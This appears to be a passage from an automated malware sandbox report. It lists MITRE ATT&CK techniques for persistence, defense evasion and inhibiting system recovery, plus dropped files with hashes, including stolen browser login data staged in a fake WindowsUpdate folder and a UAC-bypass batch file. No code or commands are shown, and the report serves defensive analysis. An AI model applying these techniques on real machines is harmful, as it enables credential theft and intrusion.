                                                                                                                                                                                                                                                                                                                                                                              T1053.005

                                                                                                                                                                                                                                                                                                                                                                              Windows Management Instrumentation

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1047

                                                                                                                                                                                                                                                                                                                                                                              Persistence

                                                                                                                                                                                                                                                                                                                                                                              Account Manipulation

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1098

                                                                                                                                                                                                                                                                                                                                                                              Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                                                                                                              T1547

                                                                                                                                                                                                                                                                                                                                                                              Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                                                                                                              T1547.001

                                                                                                                                                                                                                                                                                                                                                                              Create Account

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1136

                                                                                                                                                                                                                                                                                                                                                                              Local Account

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1136.001

                                                                                                                                                                                                                                                                                                                                                                              Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1543

                                                                                                                                                                                                                                                                                                                                                                              Windows Service

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1543.003

                                                                                                                                                                                                                                                                                                                                                                              Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1053

                                                                                                                                                                                                                                                                                                                                                                              Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1053.005

                                                                                                                                                                                                                                                                                                                                                                              Privilege Escalation

                                                                                                                                                                                                                                                                                                                                                                              Account Manipulation

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1098

                                                                                                                                                                                                                                                                                                                                                                              Boot or Logon Autostart Execution

                                                                                                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                                                                                                              T1547

                                                                                                                                                                                                                                                                                                                                                                              Registry Run Keys / Startup Folder

                                                                                                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                                                                                                              T1547.001

                                                                                                                                                                                                                                                                                                                                                                              Create or Modify System Process

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1543

                                                                                                                                                                                                                                                                                                                                                                              Windows Service

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1543.003

                                                                                                                                                                                                                                                                                                                                                                              Scheduled Task/Job

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1053

                                                                                                                                                                                                                                                                                                                                                                              Scheduled Task

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1053.005

                                                                                                                                                                                                                                                                                                                                                                              Defense Evasion

                                                                                                                                                                                                                                                                                                                                                                              Direct Volume Access

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1006

                                                                                                                                                                                                                                                                                                                                                                              Impair Defenses

                                                                                                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                                                                                                              T1562

                                                                                                                                                                                                                                                                                                                                                                              Disable or Modify System Firewall

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1562.004

                                                                                                                                                                                                                                                                                                                                                                              Disable or Modify Tools

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1562.001

                                                                                                                                                                                                                                                                                                                                                                              Indicator Removal

                                                                                                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                                                                                                              T1070

                                                                                                                                                                                                                                                                                                                                                                              File Deletion

                                                                                                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                                                                                                              T1070.004

                                                                                                                                                                                                                                                                                                                                                                              Modify Registry

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1112

                                                                                                                                                                                                                                                                                                                                                                              Credential Access

                                                                                                                                                                                                                                                                                                                                                                              Discovery

                                                                                                                                                                                                                                                                                                                                                                              Permission Groups Discovery

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1069

                                                                                                                                                                                                                                                                                                                                                                              Local Groups

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1069.001

                                                                                                                                                                                                                                                                                                                                                                              Query Registry

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1012

                                                                                                                                                                                                                                                                                                                                                                              System Information Discovery

                                                                                                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                                                                                                              T1082

                                                                                                                                                                                                                                                                                                                                                                              System Network Configuration Discovery

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1016

                                                                                                                                                                                                                                                                                                                                                                              Wi-Fi Discovery

                                                                                                                                                                                                                                                                                                                                                                              1
                                                                                                                                                                                                                                                                                                                                                                              T1016.002

                                                                                                                                                                                                                                                                                                                                                                              Lateral Movement

                                                                                                                                                                                                                                                                                                                                                                              Collection

                                                                                                                                                                                                                                                                                                                                                                              Command and Control

                                                                                                                                                                                                                                                                                                                                                                              Exfiltration

                                                                                                                                                                                                                                                                                                                                                                              Impact

                                                                                                                                                                                                                                                                                                                                                                              Inhibit System Recovery

                                                                                                                                                                                                                                                                                                                                                                              2
                                                                                                                                                                                                                                                                                                                                                                              T1490

                                                                                                                                                                                                                                                                                                                                                                              Replay Monitor

                                                                                                                                                                                                                                                                                                                                                                              Loading Replay Monitor...

                                                                                                                                                                                                                                                                                                                                                                              Downloads

                                                                                                                                                                                                                                                                                                                                                                              DFBE70A7E5CC19A398EBF1B96859CE5D
                                                                                                                                                                                                                                                                                                                                                                              • Path C:\ProgramData\WindowsUpdate\Stolen\DFBE70A7E5CC19A398EBF1B96859CE5D
                                                                                                                                                                                                                                                                                                                                                                              • Size 10KB
                                                                                                                                                                                                                                                                                                                                                                              • SHA256 884519eeea90b916d928bc6b0897c33662e0560d4c629cb4dceb2bf481d9457b
                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                              History.stolen
                                                                                                                                                                                                                                                                                                                                                                              • Path C:\ProgramData\WindowsUpdate\Stolen\History.stolen
                                                                                                                                                                                                                                                                                                                                                                              • Size 204KB
                                                                                                                                                                                                                                                                                                                                                                              • SHA256 8c24b66b55bef2d89d1ac69204ec3d5d7b191ba051c7c4c4cddcd66d92575d04
                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                              Login Data.stolen
                                                                                                                                                                                                                                                                                                                                                                              • Path C:\ProgramData\WindowsUpdate\Stolen\Login Data.stolen
                                                                                                                                                                                                                                                                                                                                                                              • Size 56KB
                                                                                                                                                                                                                                                                                                                                                                              • SHA256 a36a4989ed48954499586d6551e61d6bccfc7bee269b4eab0bb836e394c24c7c
                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                              install.log
                                                                                                                                                                                                                                                                                                                                                                              • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                              • Size 32B
                                                                                                                                                                                                                                                                                                                                                                              • SHA256 b67350ce30bdbbc941806a669a273fccf29a10f7757c6f879f3dc001f0ad4052
                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                              install.log
                                                                                                                                                                                                                                                                                                                                                                              • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                              • Size 32B
                                                                                                                                                                                                                                                                                                                                                                              • SHA256 f4b6e0d22b30f8882b79c50390fb57c27d1f15e490abb9ece0670ab71a6849a2
                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                              install.log
                                                                                                                                                                                                                                                                                                                                                                              • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                              • Size 32B
                                                                                                                                                                                                                                                                                                                                                                              • SHA256 2452b34dc64f5a3e928697eb5236c553ad2d830edd9ef28b594ffdceed0311e0
                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                              install.log
                                                                                                                                                                                                                                                                                                                                                                              • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                              • Size 32B
                                                                                                                                                                                                                                                                                                                                                                              • SHA256 55dd87ea643281976d627115823fc61f3e4d2efaabd51a821b087f21f17d81e8
                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                              install.log
                                                                                                                                                                                                                                                                                                                                                                              • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                              • Size 32B
                                                                                                                                                                                                                                                                                                                                                                              • SHA256 b65f8d8cdc61e5cfd1f145191a7346dac1acdda3b5a33374346d7a03feec80c9
                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                              install.log
                                                                                                                                                                                                                                                                                                                                                                              • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                              • Size 32B
                                                                                                                                                                                                                                                                                                                                                                              • SHA256 f84fbe167268042c306c9aa4525f927c0374326da9343020ba748adeee026720
                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                              install.log
                                                                                                                                                                                                                                                                                                                                                                              • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                              • Size 32B
                                                                                                                                                                                                                                                                                                                                                                              • SHA256 b9e304ae3fc6183d0d9d62096dcf412e7539478b5113926aee99089dd8be828b
                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                              install.log
                                                                                                                                                                                                                                                                                                                                                                              • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                              • Size 32B
                                                                                                                                                                                                                                                                                                                                                                              • SHA256 1f04321d181929e2a1b2d6cfc18bc4243d9c57ec7673f25fccfffbae3d8589e9
                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                              install.log
                                                                                                                                                                                                                                                                                                                                                                              • Path C:\ProgramData\WindowsUpdate\install.log
                                                                                                                                                                                                                                                                                                                                                                              • Size 32B
                                                                                                                                                                                                                                                                                                                                                                              • SHA256 e4760d38b816579aca54d8479966e7fd9ffc3a674580c0e6d114c5304cdf781c
                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                              ModuleAnalysisCache
                                                                                                                                                                                                                                                                                                                                                                              • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                                                                                                                                                                                                                                                                                                                                                                              • Size 53KB
                                                                                                                                                                                                                                                                                                                                                                              • SHA256 499efdc3635b176946654a629ede6dd7fc3d573ead094b77d60b60f97cd208c2
                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                              3406d83a-6a29-41e7-ad4a-2126350f02f1.inf
                                                                                                                                                                                                                                                                                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\3406d83a-6a29-41e7-ad4a-2126350f02f1.inf
                                                                                                                                                                                                                                                                                                                                                                              • Size 196B
                                                                                                                                                                                                                                                                                                                                                                              • SHA256 39fa31bf225944db785b3cb0ed44d93a238dc3575730281ba68bfd8b8c309fcf
                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                              5d8d3882-b552-407c-971f-80bf8dd0ce39.inf
                                                                                                                                                                                                                                                                                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\5d8d3882-b552-407c-971f-80bf8dd0ce39.inf
                                                                                                                                                                                                                                                                                                                                                                              • Size 154B
                                                                                                                                                                                                                                                                                                                                                                              • SHA256 b8f29baa1e54f9d4d1d2a6dedc44e35c9a6eaec88620c758fae68ef19cac0d24
                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                              __PSScriptPolicyTest_pdawk3av.ru0.ps1
                                                                                                                                                                                                                                                                                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_pdawk3av.ru0.ps1
                                                                                                                                                                                                                                                                                                                                                                              • Size 60B
                                                                                                                                                                                                                                                                                                                                                                              • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                              invoice_2.pdf
                                                                                                                                                                                                                                                                                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\invoice_2.pdf
                                                                                                                                                                                                                                                                                                                                                                              • Size 53KB
                                                                                                                                                                                                                                                                                                                                                                              • SHA256 3bd1799e641c36a14d1d18021c365d17317f3c52ad75563bbf515eb08eb3d23a
                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                              uac.bat
                                                                                                                                                                                                                                                                                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\uac.bat
                                                                                                                                                                                                                                                                                                                                                                              • Size 60B
                                                                                                                                                                                                                                                                                                                                                                              • SHA256 a3c49dc6321b383fe442751d8847aa8995e37b99ec4c8c80731e8aa3b41da2d8
                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                              uac.bat
                                                                                                                                                                                                                                                                                                                                                                              • Path C:\Users\Admin\AppData\Local\Temp\uac.bat
                                                                                                                                                                                                                                                                                                                                                                              • Size 102B
                                                                                                                                                                                                                                                                                                                                                                              • SHA256 9f148d8b3bcdf07b9a53282ce9939cf731f1bf6762c2bff2e5be94deb88f3230
                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                              tcpmon.exe
                                                                                                                                                                                                                                                                                                                                                                              • Path C:\Users\Admin\AppData\Local\tcpmon.exe
                                                                                                                                                                                                                                                                                                                                                                              • Size 40KB
                                                                                                                                                                                                                                                                                                                                                                              • SHA256 e31691cc7f9bc6c4203223bd97d9f79d131400eb4c9ae728e1e60c80f4a6c446
                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                              config.dat
                                                                                                                                                                                                                                                                                                                                                                              • Path C:\Users\Admin\AppData\Roaming\49272AE7-68F2-4896-A0BC-69377A88FE6F\config.dat
                                                                                                                                                                                                                                                                                                                                                                              • Size 28B
                                                                                                                                                                                                                                                                                                                                                                              • SHA256 c935b13cb313028b19572ad742c004d7194df1c29125863655a6de6d6ed666ad
                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                              run.dat
                                                                                                                                                                                                                                                                                                                                                                              • Path C:\Users\Admin\AppData\Roaming\49272AE7-68F2-4896-A0BC-69377A88FE6F\run.dat
                                                                                                                                                                                                                                                                                                                                                                              • Size 20B
                                                                                                                                                                                                                                                                                                                                                                              • SHA256 c9dbf8c73b5432300340e9b9f5459361e8e911384a18d0e4d828cd19d7ba9638
                                                                                                                                                                                                                                                                                                                                                                              • MD5 SHA1 SHA512
                                                                                                                                                                                                                                                                                                                                                                              Submit Download

                                                                                                                                                                                                                                                                                                                                                                              memory/1580-37-0x000002223C220000-0x000002223C242000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                                                                                              memory/1580-1326-0x00007FFE6E490000-0x00007FFE6EF51000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                                                                                              memory/3740-533-0x000000001B360000-0x000000001B370000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                                                                                              memory/3740-292-0x000000001B360000-0x000000001B370000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                                                                                              memory/3740-0-0x00000000007A0000-0x00000000007B0000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                              Download

                                                                                                                                                                                                                                                                                                                                                                              memory/5332-489-0x000001DA2F600000-0x000001DA2F601000-memory.dmp
                                                                                                                                                                                                                                                                                                                                                                              Download